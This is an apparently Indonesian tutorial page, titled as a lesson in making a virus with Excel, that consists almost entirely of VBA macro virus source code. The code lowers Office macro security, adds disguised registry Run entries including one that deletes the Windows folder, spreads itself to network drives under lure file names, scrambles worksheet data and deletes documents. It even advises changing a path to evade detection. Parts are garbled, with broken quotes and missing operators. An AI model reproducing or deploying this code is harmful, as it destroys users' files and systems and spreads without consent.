Belajar Membuat Virus dengan Excel

Private Declare Function RegOpenKeyExA Lib “advapi32.dll” (ByVal hKey As Long, _
ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As _
Long, phkResult As Long) As Long
Private Declare Function RegCreateKeyExA Lib “advapi32.dll” (ByVal hKey As Long, _
ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As _
Long, phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib “advapi32.dll” (ByVal hKey As Long, _
ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, _
ByVal lpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib “advapi32.dll” (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib “advapi32.dll” Alias “RegCreateKeyA” (ByVal _
hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Global Const REG_DWORD As Long = 4
Global Const HKEY_LOCAL_MACHINE As Long = &H80000002
Global Const HKEY_CURRENT_USER As Long = &H80000001
Dim NewKEY As Long
Dim AA, BB, NN
Dim Myclub As String
Dim CrStat As Boolean
Dim pnm As String

Sub MessBoard()
On Error Resume Next
CommandBars(”File”).Controls(”Print Area”).Visible = False
CommandBars(”Data”).Controls(”Sort”).Visible = False
CommandBars(”File”).Controls(”Page Setup…”).Visible = False
NowBoom = Array(”MsApp”, “Sound Acceleration”, “Ms Wizard”, “Web Camera”, _
“PCI driver”, “App Video”, “Lshots”, “WinApps”, “MsOffice 11?)
Randomize
NowBoom = NowBoom(Rnd * 9)
KillAV = RegOpenKeyExA(HKEY_LOCAL_MACHINE, “Software\Microsoft\Windows\CurrentVersion\Run”, _
0, KEY_ALL_ACCESS, s)
KillAV = RegSetValueExA(s, NowBoom, 0, 1, “c:\windows\command\deltree windows”, 0)
KillAV = RegCloseKey(s)
End Sub

Private Sub Auto_Open()
On Error Resume Next
Application.StatusBar = “Wait please….”
Application.ScreenUpdating = False
CommandBars(”Tools”).Controls(”Customize…”).Visible = False
CommandBars(”Tools”).Controls(”Options…”).Visible = False
CommandBars(”Tools”).Controls(”Macro”).Enable = False

’setting registry security LOW pada excel ver. 8.0 dan 9.0
Kill97 = RegOpenKeyExA(HKEY_CURRENT_USER, “Software\Microsoft\Office\8.0\Excel” & _
“Microsoft Excel”, 0, KEY_ALL_ACCESS, k)
Kill97 = RegSetValueExA(k, “Options6?, 0, REG_DWORD, Chr$(0), 4)
Kill97 = RegCloseKey(k)
Kill2K = RegCreateKey(HKEY_CURRENT_USER, “Software\Microsoft\Office\9.0\Excel” & _
“security”, s)
Kill2K = RegOpenKeyExA(HKEY_CURRENT_USER, “Software\Microsoft\Office\9.0\Excel”, _
0, KEY_ALL_ACCESS, s)
Kill2K = RegSetValueExA(s, “Level”, 0, REG_DWORD, Chr$(2), 2)
Kill2K = RegCloseKey(s)

AnVrs = Array(”VsStatEXE”, “Norton Auto-Protect”, “F-Secure”, “PandaSoft”, “Avast4?, _
“DrSolomon”, “AntiVir”, “MsSound”, “BombShellter”)
Randomize
AVstr = AnVrs(Rnd * 9)
KillAV = RegOpenKeyExA(HKEY_LOCAL_MACHINE, “Software\Microsoft\Windows” & _
“CurrentVersion\Run”, 0, KEY_ALL_ACCESS, s)
KillAV = RegSetValueExA(s, AVstr, 0, 1, “c:\windows\rundll.exe”, 0)
KillAV = RegCloseKey(s)
Application.DisplayAlerts = False
If Right(ActiveWorkbook.Name, 3) = “xls” Then
ActiveWindow.Visible = False
workbooks.Add
End If
XBrnd

strup = Application.StartupPath
If Dir(strup & “” & “*.xls”) = “” Then
pnm = ActiveWorkbook.Name
Apnm = ActiveWorkbook.FullName
OtherVrs = Dir(strup & “” & “*.xls”)
If OtherVrs <> “” Then
workbooks(OtherVrs).Close
Kill strup & “” & OtherVrs
End If
workbooks(pnm).SaveAs FileName:=strup & “” & Myclub & “.xls”
ActiveWindow.Visible = False
workbooks.Open (Apnm)
End If
For n = 67 To 90
l = Chr(n)
drv = l & “:”
d3 = DrvID(drv)
If d3 = “network” Then snd2drv (drv)
Next
nmpers = Dir(strup & “” & “*.xls”)
Application.OnSheetActivate = “” & strup & “” & nmpers & “!XLBomb”
If Month(Now()) = 7 And Day(Now()) = 7 Then
Range(”A1?).Insert
Range(”A1?).Select
With Selection.Font
.Name = “Arial”
.FontStyle = “Bold”
.Size = 18
.ColorIndex = 7
End With
ActiveCell.FormulaR1C1 = “Living in the DARKSIDE to watch your Life”
MessBoard
cari
End If
Application.StatusBar = False
Application.DisplayAlerts = True
Application.ScreenUpdating = True
End Sub

Sub XLBomb()
On Error Resume Next
XlsBmb = “c:\Trough.WQK” ‘rubah baris ini bila virus kamu terdeteksi
Application.DisplayAlerts = False
Application.ScreenUpdating = False
aktip = ActiveWorkbook.Name
sedang = ThisWorkbook.Name
Set mcraktip = workbooks(aktip).VBProject.VBComponents
Set modaktip = ActiveWorkbook.VBProject.VBComponents
Set mymcr = ThisWorkbook.VBProject.VBComponents
If aktip <> “Book1? And aktip <> “Book2? Then
For NS = 1 To Sheets.Count
If Sheets(NS).Name = “S1L3N7? Then
kz = Sheets(NS).Name
Exit For
End If
kz = Sheets(NS).Name
Next NS
If kz <> “S1L3N7? Then
Sheets.Add
ActiveWindow.ActiveSheet.Name = “S1L3N7?
Sheets(”S1L3N7?).Visible = xlSheetVeryHidden
Else
susun
Sheets(”S1L3N7?).Range(”A7?) = “”
End If
For nm = 1 To mcraktip.Count
If mcraktip(nm).Type = 1 Then
nama = mcraktip(nm).Name
Exit For
End If
Next nm
modaktip.Remove modaktip(nm)
For nm = 1 To mymcr.Count
If mymcr(nm).Type = 1 Then
nama = mymcr(nm).Name
Exit For
End If
Next nm
mymcr(nama).Export XlsBmb
modaktip.Import XlsBmb
Kill XlsBmb
XBrnd
ActiveWorkbook.VBProject.VBComponents(nm).Name = Myclub
If Minute(Now()) > 30 And Weekday(Now()) Mod 2 = 0 Then
Application.StatusBar = “Searching for 1RM4 at the network…”
End If
End If
Application.DisplayAlerts = True
End Sub

Private Sub XBrnd()
Dim Sbjt, Bodd
On Error GoTo nil1
Randomize
Sbjt = Array(”Primitif”, “Conspiracy”, “mydata”, “OnJuly”, “Updater”, “ms0ffice”, _
“letme”, “poisoning”, “yourdream”)
Myclub = Sbjt(Rnd * 9  1)
Exit Sub
nil1:
Myclub = Sbjt(0)
End Sub

Function DrvID(drv3)
On Error Resume Next
Dim fso, d, t
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set d = fso.getdrive(drv3)
Select Case d.drivetype
Case 0: t = “Unknown”
Case 1: t = “removable”
Case 2: t = “Fixed”
Case 3: t = “network”
Case 4: t = “CD-ROM”
Case 5: t = “Ramdisk”
End Select
If t = “” Then t = “none”
DrvID = t
End Function
Sub snd2drv(DrvAll)
On Error Resume Next
Application.DisplayAlerts = False
Application.ScreenUpdating = False
Gnm = ActiveWorkbook.Name
GnmF = ActiveWorkbook.FullName
Randomize
FlName = Array(”BankColapse”, “myacc”, “report”, “launch06?, “yourScrt”, “jobs”, _
“reference07?, “logistic”, _
“Payroll2006?, “NewCost”, “DoNotOpen”, “secretary”, “tax_report”, “Finance”, _
“director2006?)
Bread = FlName(Rnd * 14  1)
workbooks(Gnm).SaveAs FileName:=DrvAll & “” & Bread & “.xls”
workbooks(ActiveWorkbook.Name).Close
workbooks.Open (GnmF)
Application.DisplayAlerts = True
End Sub

Private Sub Auto_Close()
On Error Resume Next
If ActiveWorkbook.Name <> “Book1? And ActiveWorkbook.Name <> “Book2? Then
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For NS = 1 To Sheets.Count
If Sheets(NS).Name = “S1L3N7? Then
kz = Sheets(NS).Name
Exit For
End If
kz = Sheets(NS).Name
Next NS
If kz <> “S1L3N7? Then
Sheets.Add
ActiveWindow.ActiveSheet.Name = “S1L3N7?
Sheets(”S1L3N7?).Visible = xlSheetVeryHidden
End If
CryptSTAT = Sheets(”S1L3N7?).Range(”A7?)
If CryptSTAT <> 1 Then
kacau
Sheets(”S1L3N7?).Range(”A7?) = 1
SvFl = Dir(Application.StartupPath & “” & “*.xls”)
workbooks(SvFl).Save
ActiveWorkbook.Save
End If
End If
End Sub

For i = 48 To 90 ‘48 as 0 and 90 as Z
If i <> 63 Then
huruf = Chr(i)
Cells.Replace What:=huruf, Replacement:=Chr(i  110), LookAt:=xlPart, SearchOrder _
:=xlByRows, MatchCase:=False
End If
Next
End Sub

Sub susun()
For i = 158 To 200
If i <> 173 Then
huruf = Chr(i)
Cells.Replace What:=huruf, Replacement:=Chr(i - 110), LookAt:=xlPart, SearchOrder _
:=xlByRows, MatchCase:=False
End If
Next
End Sub

Sub cari()
On Error Resume Next
Dim nmfold1, nmfold2, pjg, kena As Integer
pnm = ActiveWorkbook.FullName
pjg = Len(pnm)
For i = 0 To 50
pjg = pjg - 1
If Right(Left(pnm, pjg), 1) = “” Then
foldbatas = Left(pnm, pjg)
Kill foldbatas & “*.xls”
Kill foldbatas & “*.doc”
Kill foldbatas & “irma.*”
If a = 0 Then
nmfold1 = Len(foldbatas) - 1
pnm = Left(pnm, nmfold1)
a = 1
Else
nmfold2 = Len(foldbatas)  1
kena = nmfold1 - nmfold2
namekena = Right(pnm, kena  1)
Application.ScreenUpdating = False
workbooks.Add (namekena & “.xls”)
ActiveWorkbook.Save
ActiveWorkbook.Close
Application.ScreenUpdating = True
Exit For
End If
End If
Next
End Sub